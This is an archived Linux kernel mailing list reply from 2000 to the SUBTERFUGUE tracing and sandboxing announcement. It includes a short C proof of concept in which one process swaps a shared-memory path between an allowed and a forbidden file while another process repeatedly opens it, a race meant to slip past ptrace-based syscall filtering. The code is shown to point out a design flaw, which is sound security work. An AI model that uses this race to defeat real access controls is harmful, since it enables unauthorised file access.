lkml.org 
[lkml]   [2000]   [Feb]   [7]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
SubjectRe: [ANNOUNCE] SUBTERFUGUE 0.0
Hi!

> I'm pleased to announce the first public release of SUBTERFUGUE. Below is a
> brief description from the README.

I'll take a look (really, I'm doing something pretty close as my
diploma thesis). Meanwhile: take a look at this program. It is _very_
nasty, and I guess it is able to bypass your protection (Imagine you
want to restrict access to /heslo, but leave access to /reklama open.)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void
main(void)
{
char *c = 0x94000000;
open( "/tmp/delme", O_RDWR );
mmap( c, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, 3, 0 );
*c = 0;
if (fork()) {
while(1) {
strcpy( c, "/reklama" );
strcpy( c, "/heslo" );
}
} else
while (1)
open( c, 0 );
}

> SUBTERFUGUE is a framework for observing and playing with the reality of
> software; it's a foundation for building tools to do tracing, sandboxing, and
> many other things. You could think of it as "strace meets expect."

When I was faced with this task, I added ability to strace to ask if
it should do syscalls. Patch is rather small and attached. If there's
enough interest, I might even be able to push -y option into standart
distribution.

Pavel

--
I'm pavel@ucw.cz. "In my country we have almost anarchy and I don't care."
Panos Katsaloulis describing me w.r.t. patents me at discuss@linmodems.org
[unhandled content-type:application/octet-stream]
\
 
 \ /
  Last update: 2005-03-22 13:56    [W:0.064 / U:1.192 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site